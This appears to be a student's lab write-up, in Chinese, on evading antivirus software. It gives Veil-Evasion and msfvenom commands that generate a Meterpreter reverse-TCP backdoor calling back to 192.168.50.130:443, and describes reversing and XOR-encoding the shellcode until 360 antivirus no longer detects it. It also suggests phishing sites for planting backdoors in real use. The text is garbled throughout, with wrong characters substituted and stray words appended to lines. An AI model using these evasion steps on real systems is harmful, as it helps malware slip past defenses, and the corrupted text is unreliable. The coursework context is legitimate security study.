20145227鄢曼君《网络对抗》免杀原理与实践

20145227鄢曼君《网络对抗》免杀原理与实践

基础问题回答

(1)杀软是如何检测出恶意代码的?python

  • 基于特征:恶意代码中通常会有一段有较明显特征的代码也就是特征码,若是杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序看成恶意软件。
  • 基于行为:经过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,并且比较特殊。因此当一个程序在运行时,杀毒软件会监视其行为,若是发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是作什么?shell

  • 免杀是一种能使病毒木马避免被杀毒软件查杀的技术。我的理解就是避免杀毒软件的查杀。

(3)免杀的基本方法有哪些?windows

  • 加壳:经过加壳,让杀毒软件没法进行反汇编、逆向工程,进而没法分析代码。
  • 使用免杀平台如Veil-Evasion等生成后门软件。
  • 改变攻击行为,好比反弹式链接能大大减小被阻止查杀的风险;或者在正常应用软件中插入恶意代码来达到目的。
  • 也能够本身编写恶意软件。

实践过程记录

免杀平台Veil-Evasion生成后门软件

  • Veil-Evasion是一个与Metasploit有点相似的软件,已经在kali虚拟机里。在终端下输入指令veil-evasion可打开软件,而后根据menu的提示依次键入如下指令:
use python/meterpreter/rev_tcp  //设置payload
set LHOST 192.168.50.130    //设置反弹链接IP
set LPORT 443    //设置反弹端口443
generate   
5227    
1
  • 其中5227是生成的程序名,一共有一、二、3三种选择,通常选择1是默认配置。

  • 生成完后以下图所示:

  • 打开靶机杀毒软件,把生成的5227.exe拷到靶机。发现被查杀,能够找回,而后添加信任。

  • 用VirSCAN.org进行检测,结果以下:

  • 在靶机上运行5227.exe,kali成功获取权限

利用shellcode编写后门程序的检测

  • 在kali终端,执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=443 -f c ,生成一个c语言格式的Shellcode数组.

  • 将生成的代码从虚拟机里拷出来,用Microsoft Visual Studio 2013或者Visual C++ 6.0进行编译运行生成可执行文件ymj.exe。
  • 而后在kali下进入MSF打开监听进程,在靶机上运行可执行文件ymj.exe,kali成功获取权限.

  • 这一次ymj.exe没有被360查杀,电脑版本win8数组

  • 用VirSCAN.org进行检测,结果以下。能够发现有12%的软件能扫出来,报毒率比用veil-evasion要低一些。安全

  • 咱们能够发现,利用shellcode编写后门程序相比经过msfvenom指令生成一个可执行文件而言,风险下降了很多,可是仍被定性为病毒文件,因此须要进一步修改代码。

尝试修改shellcode——将shellcode逆序

  • 直接利用shellcode写的C语言程序仍是不能实现免杀,仍会被发现,因此咱们能够对这个数组作一些变化,好比将shellcode先进行逆序操做获得另一个数组,而后以后再把它逆序回来,将原数组的内容进行改变,这样在杀软检查时被发现的概率就减少了。以下图。

  • 回连测试一下,kali成功获取权限。

尝试第二次:将shellcode逆序和异或结合

  • 若是将shellcode逆序和异或结合会不会免杀率会更高呢?理论上应该是这样,编写代码运行后,用VirSCAN.org进行检测,结果发现只有2%的软件能扫出来了。

  • 回连测试一下,kali成功获取权限。

  • 用360杀毒扫描,没有被扫描出来。

  • 电脑版本:win8
  • 杀毒软件:360杀毒

实践总结与体会

  • 作完此次实验,我对于网络安全的问题有了更深的体会。想一想以前一直以为只要安装好杀毒软件,按期杀毒、给电脑体检就能够了,然而咱们本身都能实现免杀,更不要说那些恶意想要攻击你电脑的人了,真的是防不胜防啊。在当今社会,到处离不开网络,所以咱们要时时刻刻提升安全防范意识,按期检查本身的电脑,防止别人恶意盗取利用本身的信息。但愿能够将本身学到的知识与实践相结合,帮助别人解决更多的问题。

离实战还缺些什么技术或步骤?

  • 在实际应用中,咱们不可能这么容易将后门植入到别人的电脑,或许能够经过钓鱼网站之类的方法来实现。这点还须要咱们去思考,去探索。并且如今各类杀毒软件层出不穷,它们的病毒库在不断地更新,功能也在不断地完善,今天实现了免杀可能过段时间就失败了,因此还须要咱们根据漏洞本身写代码,而不是用软件来直接生成。